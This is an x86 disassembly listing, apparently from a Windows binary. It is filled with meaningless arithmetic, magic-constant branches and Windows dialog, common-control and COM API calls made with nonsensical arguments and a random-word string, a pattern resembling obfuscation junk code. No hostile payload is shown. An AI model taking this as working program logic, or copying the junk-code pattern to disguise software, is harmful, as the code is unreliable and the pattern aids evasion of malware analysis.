call dword [sym.imp.COMDLG32.dll_PrintDlgExW]
mov dword [ebp - 0x269c], eax
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3168]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
mov dword [ebp - 0x39c4], edx
cmp dword [ebp - 0x39c4], 0x4408
je 0x4033b3
jmp 0x403407
lea eax, [ebp - 0x2d90]
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov dword [ebp - 0x6d4], eax
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1d24]
add edx, dword [eax]
mov dword [ebp - 0x538], edx
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x3168]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
lea ecx, [ebp - 0x3864]
push ecx
call dword [sym.imp.COMDLG32.dll_ChooseColorW]
mov dword [ebp - 0x1bac], eax
jmp 0x40341b
mov edx, dword [ebp - 0x16fc]
add edx, dword [ebp - 0x2ca4]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
jmp 0x40346f
mov ecx, dword [ebp - 0x1ec]
mov dl, byte [ecx]
mov byte [ebp - 0x18ed], dl
mov dword [ebp - 0x2588], 0x6a34
lea eax, [ebp - 0x24a0]
mov dword [ebp - 0x2094], eax
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x7cc]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x3168]
mov dword [ebp - 0x3580], eax
mov cx, word [ebp - 0x60c]
mov word [ebp - 0x35b8], cx
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x2569]
add eax, ecx
mov byte [ebp - 0x2aa6], al
mov edx, dword [ebp - 0x2094]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x1b34]
mov word [ecx], ax
lea edx, [ebp - 0x18ed]
mov dword [ebp - 0x38c], edx
movsx eax, word [ebp - 0x60c]
mov dword [ebp - 0x39c8], eax
cmp dword [ebp - 0x39c8], 0
je 0x4034db
cmp dword [ebp - 0x39c8], 0x1269
je 0x42976e
jmp 0x4297b7
mov cx, word [ebp - 0x24a0]
mov word [ebp - 0x2b50], cx
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ebp - 0x538]
add eax, dword [edx]
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x381c]
cmp eax, edx
jae 0x403625
mov eax, dword [ebp - 0x1678]
mov cl, byte [eax]
mov byte [ebp - 0x39cc], cl
cmp byte [ebp - 0x39cc], 0x5b
je 0x403607
cmp byte [ebp - 0x39cc], 0xab
je 0x403536
jmp 0x403625
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
push eax
mov ecx, dword [ebp - 0x381c]
push ecx
mov edx, dword [ebp - 0x718]
movzx eax, word [edx]
push eax
movzx ecx, byte [ebp - 0x2569]
push ecx
mov edx, dword [ebp - 0x1d78]
movzx eax, byte [edx]
push eax
call fcn.00429f50
push 0x70
lea ecx, [ebp - 0x930]
push ecx
push fcn.004ef7c0
mov edx, dword [ebp - 0x175c]
push edx
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [ebp - 0x1bac], eax
movzx eax, word [ebp + 8]
mov dword [ebp - 0x39d0], eax
cmp dword [ebp - 0x39d0], 0xea0
je 0x4035a0
jmp 0x4035f2
mov ecx, dword [ebp - 0x16fc]
add ecx, dword [ebp - 0x3580]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x381c]
mov dword [ebp - 0x538], ecx
mov edx, dword [ebp - 0x25c4]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.004ef7c0
add esp, 8
mov ecx, dword [ebp - 0x2ca4]
sub ecx, dword [ebp - 0x2a4c]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
jmp 0x403605
movzx eax, byte [ebp - 0x18ed]
movzx ecx, byte [ebp - 0x3495]
add eax, ecx
mov byte [ebp + 0xc], al
jmp 0x403625
push 0x8f
push 0x2b
push 0xe9
mov edx, dword [ebp - 0x16f4]
push edx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x2aa0], eax
mov ax, word [ebp - 0x24a0]
mov word [ebp - 0x1650], ax
mov cl, byte [ebp - 0x2569]
mov byte [ebp - 0x39d4], cl
cmp byte [ebp - 0x39d4], 8
je 0x40364d
jmp 0x403736
mov edx, dword [ebp - 0x1ec]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x38c]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x26fc]
mov byte [ecx], al
movsx edx, word [ebp - 0x60c]
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
sub edx, ecx
movsx eax, word [ebp - 0x17e0]
movsx ecx, word [ebp - 0x35b8]
sub eax, ecx
cmp edx, eax
jge 0x4036b7
mov edx, dword [ebp - 0x175c]
push edx
call dword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [ebp - 0x1ce4], eax
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x18ed]
xor eax, ecx
mov byte [ebp + 0xc], al
jmp 0x40371d
mov edx, dword [ebp - 0x3168]
add edx, dword [ebp - 0x3580]
mov eax, dword [ebp - 0x3794]
mov esi, dword [ebp - 0x2ca4]
mov ecx, dword [eax]
shl esi, cl
cmp edx, esi
jle 0x40371d
movsx ecx, byte [ebp - 0x2aa6]
movsx edx, byte [ebp - 0x2569]
or ecx, edx
mov eax, dword [ebp - 0x1d78]
mov byte [eax], cl
lea ecx, [ebp - 0x2118]
push ecx
call dword [sym.imp.COMCTL32.dll_PropertySheetW]
mov dword [ebp - 0x3580], eax
call fcn.004d7e60
mov edx, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x381c]
shr edx, cl
mov eax, dword [ebp - 0x1d24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3580]
mov dword [ebp - 0x3168], edx
jmp 0x403891
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
movzx edx, byte [ebp + 0xc]
sub ecx, edx
mov eax, dword [ebp - 0x38c]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x2aa6]
add edx, eax
movsx ecx, byte [ebp - 0x2569]
cmp edx, ecx
jge 0x40387a
lea edx, [ebp - 0x1650]
mov dword [ebp - 0x2a04], edx
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
movzx edx, word [ebp + 8]
sub ecx, edx
movzx eax, word [ebp - 0x2b50]
movzx edx, word [ebp - 0x24a0]
sub eax, edx
cmp ecx, eax
jl 0x403878
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x18ed]
sub eax, ecx
mov edx, dword [ebp - 0x1ec]
movzx ecx, byte [edx]
mov edx, dword [ebp - 0x1678]
movzx edx, byte [edx]
add ecx, edx
cmp eax, ecx
jl 0x403862
mov eax, dword [ebp - 0x381c]
mov dword [ebp - 0x39d8], eax
cmp dword [ebp - 0x39d8], 0x601a76b1
je 0x4037e7
jmp 0x403860
push 0x94
push 0x22
push 0xa
mov ecx, dword [ebp - 0x16f4]
push ecx
call sub.COMCTL32.dll_DefSubclassProc
mov dword [ebp - 0x93c], eax
mov edx, dword [ebp - 0x538]
mov ecx, dword [ebp - 0x7cc]
shr edx, cl
mov eax, dword [ebp - 0x22e0]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x3495]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp + 0xc], cl
movzx ecx, byte [ebp - 0x18ed]
push ecx
movzx edx, byte [ebp - 0x2569]
push edx
call fcn.004d1cd0
lea eax, [ebp - 0xc1c]
push eax
push fcn.004d1cd0
mov ecx, dword [ebp - 0x255c]
push ecx
call sub.COMCTL32.dll_RemoveWindowSubclass
mov dword [ebp - 0x6d4], eax
jmp 0x403878
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
or eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x3794]
mov dword [ecx], eax
jmp 0x403891
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp + 0xc], al
mov dword [ebp - 0x328c], 0x1713
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x35b8]
sub ecx, edx
movsx eax, word [ebp - 0x17e0]
movsx edx, word [ebp - 0x60c]
sub eax, edx
cmp ecx, eax
je 0x403957
movsx eax, byte [ebp - 0x2569]
mov ecx, dword [ebp - 0x1d78]
movsx edx, byte [ecx]
sub eax, edx
movsx ecx, byte [ebp - 0x2aa6]
cmp eax, ecx
jl 0x4038fe
movzx edx, byte [ebp - 0x18ed]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
and edx, ecx
mov eax, dword [ebp - 0x26fc]
mov byte [eax], dl
jmp 0x403957
push 1
lea ecx, [ebp - 0x1d78]
push ecx
lea edx, [ebp - 0x8c]
push edx
call dword [sym.imp.ole32.dll_OleGetIconOfClass]
mov dword [ebp - 0x1ee4], eax
movzx eax, word [ebp + 8]
movzx ecx, word [ebp - 0x2b50]
sub eax, ecx
mov edx, dword [ebp - 0x2094]
mov word [edx], ax
movzx eax, byte [ebp - 0x3495]
movzx ecx, byte [ebp - 0x18ed]
add eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x3168]
add edx, dword [ebp - 0x798]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x38c]
mov dl, byte [ecx]
mov byte [ebp - 0x39dc], dl
cmp byte [ebp - 0x39dc], 0x11
je 0x4039dd
cmp byte [ebp - 0x39dc], 0x6b
je 0x40397c
jmp 0x403a96
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x39e0], cl
cmp byte [ebp - 0x39e0], 0x5d
je 0x403995
jmp 0x4039bb
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x381c]
add eax, dword [edx]
mov dword [ebp - 0x538], eax
lea ecx, [ebp - 0xe14]
push ecx
call dword [sym.imp.ole32.dll_CoEnableCallCancellation]
mov dword [ebp - 0x48], eax
jmp 0x4039d8
call fcn.0046d040
mov edx, dword [ebp - 0x2260]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x3168]
sar eax, cl
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
jmp 0x403a96
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
mov dword [ebp - 0x39e4], eax
cmp dword [ebp - 0x39e4], 0x3f470232
je 0x4039f9
jmp 0x403a75
lea ecx, [ebp - 0xc30]
push ecx
call dword [sym.imp.ole32.dll_CoIsHandlerConnected]
mov dword [ebp - 0x1bac], eax
movzx edx, byte [ebp - 0x18ed]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
xor edx, ecx
mov byte [ebp + 0xc], dl
movsx edx, byte [ebp - 0x2aa6]
movsx ecx, byte [ebp - 0x2569]
shl edx, cl
mov eax, dword [ebp - 0x1d78]
mov byte [eax], dl
call dword [sym.imp.ole32.dll_CoSuspendClassObjects]
mov dword [ebp - 0x269c], eax
movsx ecx, word [ebp - 0x17e0]
movsx edx, word [ebp - 0x35b8]
or ecx, edx
mov eax, dword [ebp - 0x718]
mov word [eax], cx
movzx ecx, byte [ebp + 0xc]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x3495], cl
jmp 0x403a96
lea ecx, [ebp - 0x3794]
push ecx
lea edx, [ebp - 0x34c0]
push edx
lea eax, [ebp - 0x3794]
push eax
call dword [sym.imp.ole32.dll_CoGetInterfaceAndReleaseStream]
mov dword [ebp - 0x269c], eax
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x24a0]
sub edx, eax
mov ecx, dword [ebp - 0x100]
mov word [ecx], dx
mov edx, dword [ebp - 0x538]
sub edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x1d24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
add edx, dword [ebp - 0x25c4]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1678]
movzx edx, byte [ecx]
movzx eax, byte [ebp + 0xc]
sub edx, eax
mov byte [ebp - 0x18ed], dl
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x2094]
mov word [eax], dx
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ebp - 0x7cc]
and edx, dword [ecx]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x2a4c]
add eax, dword [ebp - 0x3580]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3794]
mov eax, dword [ebp - 0x25c4]
add eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x22e0]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc1c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
xor ecx, eax
mov word [ebp - 0x2b50], cx
movzx edx, byte [ebp - 0x3495]
movzx ecx, byte [ebp + 0xc]
shl edx, cl
mov byte [ebp - 0x18ed], dl
mov eax, dword [ebp - 0x3794]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x16fc]
sar edx, cl
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3794]
mov edx, dword [ecx]
or edx, dword [ebp - 0x3168]
mov eax, dword [ebp - 0x2260]
mov dword [eax], edx
mov cx, word [ebp - 0x17e0]
mov word [ebp - 0x60c], cx
movsx edx, byte [ebp - 0x2aa6]
movsx eax, byte [ebp - 0x2569]
and edx, eax
mov ecx, dword [ebp - 0x1d78]
mov byte [ecx], dl
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
add eax, edx
mov ecx, dword [ebp - 0x1678]
mov byte [ecx], al
movzx edx, word [ebp + 8]
mov eax, dword [ebp - 0x100]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0xc1c]
mov word [eax], dx
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ebp - 0x1d24]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x7cc], eax
mov ecx, dword [ebp - 0x381c]
add ecx, dword [ebp - 0x538]
mov dword [ebp - 0x7cc], ecx
mov edx, dword [ebp - 0x16fc]
sub edx, dword [ebp - 0x2ca4]
mov dword [ebp - 0x3580], edx
mov eax, dword [ebp - 0x3794]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x16fc]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2a4c]
and eax, dword [ebp - 0x2ca4]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp + 0xc]
sub eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
movzx eax, word [ebp - 0x2b50]
movzx ecx, word [ebp - 0x24a0]
shl eax, cl
mov ecx, dword [ebp - 0x2094]
mov word [ecx], ax
mov edx, dword [ebp - 0x381c]
or edx, dword [ebp - 0x538]
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
xor ecx, eax
mov byte [ebp + 0xc], cl
mov ecx, dword [ebp - 0x328c]
add ecx, 0xb2
mov dword [ebp - 0x328c], ecx
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x18ed]
sar eax, cl
mov byte [ebp + 0xc], al
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x7cc]
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x100]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x2b50]
and edx, eax
mov word [ebp - 0x24a0], dx
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp + 0xc]
add ecx, edx
mov byte [ebp - 0x18ed], cl
mov eax, dword [ebp - 0x718]
movsx ecx, word [eax]
movsx edx, word [ebp - 0x17e0]
sub ecx, edx
mov eax, dword [ebp - 0x718]
mov word [eax], cx
movsx ecx, byte [ebp - 0x2569]
mov edx, dword [ebp - 0x1d78]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x2aa6], cl
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x22e0]
add edx, dword [eax]
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], edx
mov edx, dword [ebp - 0x3794]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
add eax, dword [ecx]
mov dword [ebp - 0x16fc], eax
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x2a04]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x1650], ax
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x1ec]
mov byte [ecx], al
mov edx, dword [ebp - 0x1678]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x18ed]
and eax, ecx
mov byte [ebp + 0xc], al
mov edx, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x538]
shr edx, cl
mov dword [ebp - 0x7cc], edx
mov eax, dword [ebp - 0x2260]
mov ecx, dword [ebp - 0x3580]
or ecx, dword [eax]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x38c]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x3495]
shl edx, cl
mov byte [ebp + 0xc], dl
movzx eax, byte [ebp - 0x3495]
mov ecx, dword [ebp - 0x1ec]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x18ed], al
mov eax, dword [ebp - 0x2094]
movzx ecx, word [eax]
mov edx, dword [ebp - 0xc1c]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x2b50], cx
mov ecx, dword [ebp - 0x22e0]
mov edx, dword [ecx]
add edx, dword [ebp - 0x538]
mov eax, dword [ebp - 0x1d24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3580]
and ecx, dword [ebp - 0x2ca4]
mov edx, dword [ebp - 0x3794]
mov dword [edx], ecx
mov eax, dword [ebp - 0x798]
sub eax, dword [ebp - 0x3168]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
movzx edx, byte [ebp - 0x18ed]
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
add edx, ecx
mov byte [ebp + 0xc], dl
mov edx, dword [ebp - 0x2ca4]
sub edx, dword [ebp - 0x3580]
mov eax, dword [ebp - 0x3794]
mov dword [eax], edx
mov ecx, dword [ebp - 0x718]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x60c]
sub edx, eax
mov ecx, dword [ebp - 0x718]
mov word [ecx], dx
movsx edx, byte [ebp - 0x2aa6]
mov eax, dword [ebp - 0x1d78]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x2569], dl
mov edx, dword [ebp - 0x100]
movzx eax, word [edx]
mov ecx, dword [ebp - 0xc1c]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp + 8], ax
cmp dword [ebp - 0x328c], 0x3e03
jb 0x403a96
movzx eax, byte [ebp - 0x18ed]
movzx ecx, byte [ebp + 0xc]
add eax, ecx
mov edx, dword [ebp - 0x1678]
mov byte [edx], al
movsx ecx, word [ebp - 0x17e0]
movsx edx, word [ebp - 0x35b8]
add ecx, edx
movsx eax, word [ebp - 0x60c]
mov edx, dword [ebp - 0x718]
movsx esi, word [edx]
cdq
idiv esi
cmp ecx, eax
jle 0x403f79
mov eax, dword [ebp - 0x22e0]
mov ecx, dword [ebp - 0x1d24]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x140c]
mov dword [eax], edx
jmp 0x404017
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ebp - 0x7cc]
xor edx, dword [ecx]
mov dword [ebp - 0x381c], edx
mov eax, dword [ebp - 0x2a04]
mov cx, word [eax]
mov word [ebp - 0x1220], cx
mov edx, dword [ebp - 0x1678]
mov al, byte [edx]
mov byte [ebp - 0x2521], al
lea ecx, [ebp - 0x2a4c]
mov dword [ebp - 0x1bf8], ecx
mov edx, dword [ebp - 0x140c]
mov eax, dword [edx]
mov dword [ebp - 0x39e8], eax
cmp dword [ebp - 0x39e8], 0xe4908b46
je 0x403fd3
jmp 0x404017
mov ecx, dword [ebp - 0x140c]
mov edx, dword [ebp - 0x538]
and edx, dword [ecx]
mov dword [ebp - 0x7cc], edx
lea eax, [ebp - 0x1394]
push eax
lea ecx, [ebp - 0x2a04]
push ecx
call dword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [ebp - 0x2708], eax
mov edx, dword [ebp - 0x2260]
mov eax, dword [ebp - 0x3580]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x1bf8]
mov dword [ecx], eax
mov dl, byte [ebp - 0x2569]
mov byte [ebp - 0x39ec], dl
cmp byte [ebp - 0x39ec], 0x36
je 0x40402e
jmp 0x4040aa
mov eax, dword [ebp - 0x1ec]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x26fc]
mov byte [edx], cl
mov eax, dword [ebp - 0x1d78]
mov cl, byte [eax]
mov byte [ebp - 0x39f0], cl
cmp byte [ebp - 0x39f0], 8
je 0x404088
cmp byte [ebp - 0x39f0], 0x4a
je 0x40406c
jmp 0x4040a5
lea edx, [ebp - 0x7cc]
push edx
lea eax, [ebp - 0xb38]
push eax
call dword [sym.imp.ole32.dll_ProgIDFromCLSID]
mov dword [ebp - 0x2708], eax
jmp 0x4040a5
mov ecx, dword [ebp - 0x2094]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x1b34]
movzx ecx, word [eax]
add edx, ecx
mov eax, dword [ebp - 0x2094]
mov word [eax], dx
jmp 0x429753
movzx ecx, byte [ebp - 0x3495]
movzx edx, byte [ebp - 0x2521]
sub ecx, edx
movzx eax, byte [ebp + 0xc]
mov edx, dword [ebp - 0x1678]
movzx edx, byte [edx]
sub eax, edx
cmp ecx, eax
jl 0x4041c6
mov eax, dword [ebp - 0x381c]
mov ecx, dword [ebp - 0x7cc]
shl eax, cl
mov ecx, dword [ebp - 0x140c]
mov dword [ecx], eax
lea edx, [ebp - 0x25c4]
mov dword [ebp - 0x31d0], edx
mov eax, dword [ebp - 0x718]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x17e0]
sar edx, cl
mov word [ebp - 0x35b8], dx
mov al, byte [ebp - 0x2569]
mov byte [ebp - 0x1f4e], al
mov ecx, dword [ebp - 0x2260]
mov edx, dword [ecx]
mov dword [ebp - 0x39f4], edx
cmp dword [ebp - 0x39f4], 0x1372a443
je 0x404143
cmp dword [ebp - 0x39f4], 0x7e66d823
je 0x404189
jmp 0x4041c4
movzx eax, word [ebp + 8]
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
xor eax, edx
mov word [ebp - 0x1650], ax
movzx eax, byte [ebp - 0x18ed]
mov ecx, dword [ebp - 0x26fc]
movzx edx, byte [ecx]
or eax, edx
mov ecx, dword [ebp - 0x1ec]
mov byte [ecx], al
mov edx, dword [ebp - 0x140c]
mov eax, dword [ebp - 0x538]
and eax, dword [edx]
mov dword [ebp - 0x381c], eax
jmp 0x4041c4
lea ecx, [ebp - 0x175c]
push ecx
push 0xe3
lea edx, [ebp - 0x1394]
push edx
push 0xb0
push 0x3f
lea eax, [ebp - 0x34c0]
push eax
lea ecx, [ebp - 0xb0c]
push ecx
lea edx, [ebp - 0x2aa0]
push edx
call dword [sym.imp.ole32.dll_CoGetInstanceFromFile]
mov dword [ebp - 0x2218], eax
jmp 0x40423f
mov eax, dword [ebp - 0x1d24]
mov ecx, dword [ebp - 0x538]
add ecx, dword [eax]
mov edx, dword [ebp - 0x22e0]
mov eax, dword [ebp - 0x7cc]
add eax, dword [edx]
cmp ecx, eax
jbe 0x40423f
mov ecx, dword [ebp - 0x31d0]
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2260]
mov dword [ecx], eax
lea edx, [ebp - 0x275c]
push edx
lea eax, [ebp - 0x31bc]
push eax
lea ecx, [ebp - 0xc30]
push ecx
push 0x86
lea edx, [ebp - 0x354]
push edx
call dword [sym.imp.ole32.dll_CoGetClassObject]
mov dword [ebp - 0x269c], eax
mov eax, dword [ebp - 0x3794]
mov ecx, dword [ebp - 0x3168]
add ecx, dword [eax]
mov dword [ebp - 0x2a4c], ecx
mov edx, dword [ebp - 0x1d24]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x22e0]
add eax, dword [ecx]
mov edx, dword [ebp - 0x1d24]
mov dword [edx], eax
lea eax, [ebp - 0x16fc]
mov dword [ebp - 0x38fc], eax
movsx ecx, word [ebp - 0x35b8]
movsx edx, word [ebp - 0x17e0]
sub ecx, edx
mov eax, dword [ebp - 0x718]
movsx edx, word [eax]
movsx eax, word [ebp - 0x60c]
and edx, eax
cmp ecx, edx
jne 0x40432b
mov cl, byte [ebp - 0x1f4e]
mov byte [ebp - 0x39f8], cl
cmp byte [ebp - 0x39f8], 0x46
je 0x4042a4
jmp 0x4042bc
movzx edx, word [ebp - 0x2b50]
movzx eax, word [ebp + 8]
add edx, eax
mov ecx, dword [ebp - 0x2a04]
mov word [ecx], dx
jmp 0x40432b
lea edx, [ebp - 0x538]
push edx
lea eax, [ebp - 0x1b64]
push eax
push str.haircuts_Ratiocination_Einstein_bushiness
lea ecx, [ebp - 0x22e0]
push ecx
call dword [sym.imp.ole32.dll_MkParseDisplayName]
mov dword [ebp - 0x269c], eax
mov edx, dword [ebp - 0x2a4c]
push edx
mov eax, dword [ebp - 0x26fc]
movzx ecx, byte [eax]
push ecx
call fcn.004ef7c0
add esp, 8
movzx edx, byte [ebp - 0x2521]
mov eax, dword [ebp - 0x38c]
movzx ecx, byte [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1678]
mov byte [eax], dl
mov ecx, dword [ebp - 0x38fc]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x1bf8]
add edx, dword [eax]
mov dword [ebp - 0x798], edx
movzx ecx, word [ebp - 0x2b50]
mov dword [ebp - 0x39fc], ecx
cmp dword [ebp - 0x39fc], 0
je 0x4043ab
cmp dword [ebp - 0x39fc], 0x98
je 0x404352
jmp 0x4296b5
mov edx, dword [ebp - 0x1b34]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x2b50]
or eax, ecx
mov word [ebp - 0x24a0], ax
mov edx, dword [ebp - 0x26fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x2521]
xor eax, ecx
mov edx, dword [ebp - 0x38c]
mov byte [edx], al
lea eax, [ebp - 0x7cc]
push eax
lea ecx, [ebp - 0x34c0]
push ecx
lea edx, [ebp - 0x1510]
push edx
call dword [sym.imp.ole32.dll_CoUnmarshalInterface]
mov dword [ebp - 0x2708], eax
jmp 0x4296b5
movsx eax, word [ebp - 0x35b8]
movsx ecx, word [ebp - 0x17e0]
and eax, ecx
mov word [ebp - 0x60c], ax
movsx edx, byte [ebp - 0x2aa6]
movsx eax, byte [ebp - 0x1f4e]
sub edx, eax
movsx ecx, byte [ebp - 0x2569]
mov eax, dword [ebp - 0x1d78]
movsx eax, byte [eax]
add ecx, eax
cmp edx, ecx
jl 0x404543
mov cl, byte [ebp - 0x2aa6]
mov byte [ebp - 0x3a00], cl
cmp byte [ebp - 0x3a00], 0x28
je 0x404406
jmp 0x404497
movzx edx, word [ebp - 0x1220]
mov dword [ebp - 0x3a04], edx
cmp dword [ebp - 0x3a04], 0x47c
je 0x404478
cmp dword [ebp - 0x3a04], 0x88c
je 0x40442d
jmp 0x404492
movsx eax, byte [ebp - 0x1f4e]
movsx ecx, byte [ebp - 0x2569]
sub eax, ecx
mov edx, dword [ebp - 0x1d78]
mov byte [edx], al
movzx eax, word [ebp - 0x2b50]
mov ecx, dword [ebp - 0x1b34]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp + 8], ax
call fcn.004d7e60
mov eax, dword [ebp - 0x31d0]
mov ecx, dword [ebp - 0x3580]
add ecx, dword [eax]
mov edx, dword [ebp - 0x2260]
mov dword [edx], ecx
jmp 0x404492
mov eax, dword [ebp - 0x1678]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x38c]
movzx eax, byte [edx]
and ecx, eax
mov byte [ebp - 0x3495], cl
jmp 0x404539
mov cx, word [ebp - 0x24a0]
